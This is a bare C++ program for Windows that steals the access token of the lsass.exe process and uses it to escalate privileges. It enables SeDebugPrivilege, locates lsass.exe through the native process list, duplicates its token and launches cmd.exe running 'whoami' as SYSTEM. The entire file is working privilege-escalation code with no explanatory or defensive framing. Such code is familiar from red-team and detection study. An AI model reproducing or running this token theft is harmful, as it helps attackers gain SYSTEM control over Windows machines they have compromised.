#include <iostream>
#include <phnt_windows.h>
#include <phnt.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Kernel32.lib")
#define PHNT_VERSION PHNT_WINDOWS_11 // Windows 11
int
main()
{
HANDLE
hCurrentToken;
ZwOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
LUID luid;
LookupPrivilegeValueA(NULL,
"SeDebugPrivilege"
, &luid);
TOKEN_PRIVILEGES PrivToken;
PrivToken.PrivilegeCount = 1;
PrivToken.Privileges[0].Luid = luid;
PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hCurrentToken, FALSE, &PrivToken,
sizeof
(TOKEN_PRIVILEGES), NULL, NULL);
ULONG
bufferSize;
PVOID
buffer;
NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation,
nullptr
, 0, &bufferSize);
buffer =
malloc
(bufferSize * 2);
status = ZwQuerySystemInformation(SystemProcessInformation, buffer, bufferSize * 2,
nullptr
);
PSYSTEM_PROCESS_INFORMATION sysInfo =
reinterpret_cast
<PSYSTEM_PROCESS_INFORMATION> (buffer);
std::wstring processName;
ULONG
processPid;
while
(
true
) {
if
(sysInfo->ImageName.Buffer) {
processName = sysInfo->ImageName.Buffer;
}
if
(processName == L
"lsass.exe"
) {
processPid = HandleToULong(sysInfo->UniqueProcessId);
break
;
}
sysInfo =
reinterpret_cast
<PSYSTEM_PROCESS_INFORMATION>((
PUCHAR
)sysInfo + sysInfo->NextEntryOffset);
}
HANDLE
hProcess;
OBJECT_ATTRIBUTES obj;
InitializeObjectAttributes(&obj, NULL, NULL, NULL, NULL);
CLIENT_ID client_id = {};
client_id.UniqueProcess = ULongToHandle(processPid);
status = ZwOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &obj, &client_id);
HANDLE
hToken;
status = ZwOpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hToken);
HANDLE
hDpToken;
status = ZwDuplicateToken(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDpToken);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb =
sizeof
(STARTUPINFO);
PROCESS_INFORMATION processInfo = { 0 };
CreateProcessWithTokenW(hDpToken, LOGON_WITH_PROFILE, L
"C:\\Windows\\system32\\cmd.exe"
,
const_cast
<
LPWSTR
>(L
"/k whoami"
), 0, NULL, NULL, &startupInfo, &processInfo);
CloseHandle(hDpToken);
CloseHandle(hToken);
CloseHandle(hProcess);
free
(buffer);
CloseHandle(hCurrentToken);
}